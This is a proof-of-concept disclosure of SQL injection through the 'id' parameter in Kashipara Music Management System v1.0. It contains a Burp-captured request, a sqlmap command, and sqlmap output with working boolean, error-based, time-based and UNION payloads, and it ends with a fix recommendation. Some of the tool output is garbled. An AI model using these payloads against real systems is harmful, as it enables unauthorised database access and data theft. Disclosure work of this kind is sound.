SQL injection vulnerability in

"/music/controller.php?page=view_music" in Kashipara Music Management System v1.0 allows attacker to execute arbitrary SQL commands via the "id" parameter.

Affected Project: Kashipara (https://www.kashipara.com/)

Product Official Website URL: Music Management System v1.0

(https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code)

Version: 1.0

Affected Components:

Affected Code File: /music/controller.php?page=view_music

Affected Parameter: "id"

Steps:

1. Access the "View Music" HTTP request and capture it in Burp Suite proxy editor.

Request:

GET /music/controller.php?page=view_music&id=1 HTTP/1.1

Host: localhost

X-Requested-With: XMLHttpRequest

Content-Length: 2



- 2. In this request, the "id" request parameter is vulnerable to SQL injection. This is demonstrated in next steps.
- 3. We will run SQLMAP against this HTTP request. Command: *sqlmap.py -r req.txt --batch -- flush-session -p id --current-user --hostname*

```
GET /music/controller.php?page=view_music&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/music/index.php?page=view music&id=3
Priority: u=0
```

```
D:\Tools\SQLMAP\sqlmapproject-sqlmap-79aa315>sqlmap.py -r req.txt --batch --flush-session -p id --current-db --current-user --hostname
```

4. SQLMAP identifies parameter "id" as vulnerable. Also, SQLMAP successfully lists out the database, current user and hostname.

```
[20:48:07] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqimap identitied the tollowing injection point(s) with a total of 6/ HIIP(s) requests
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=view_music&id=1 AND 3041=3041
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: page=view_music&id=1 AND (SELECT 1918 FROM(SELECT COUNT(*),CONCAT(0x7170716b71,(SELECT
1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
                                                                                                    .
    Payload: page=view_music&id=1 AND (SELECT 9044 FROM (SELECT(SLEEP(5)))SSwN)
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: page=view_music&id=-2032 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170716b71,0x52434558
9695845595775417472616c4c485a646c4b444e4d524f467a486f436e,0x7162787871),NULL,NULL,NULL,NULL,NULL,NULL,NUL
[20:48:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.12, Apache 2.4.58, PHP back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:48:07] [INFO] fetching current user
current user: 'root@localhost'
[20:48:07] [INFO] fetching current database
 current database: 'music_db
[20:48:07] [INFO] fetching server hostname
 ostname: 'DESKTOP-PKVTEFL
```

Solution/Good Reads:

User parameterized SQL queries instead of the dynamic SQL queries.

• https://cheatsheetseries.owasp.org/cheatsheets/SQL Injection Prevention Cheat Sheet.html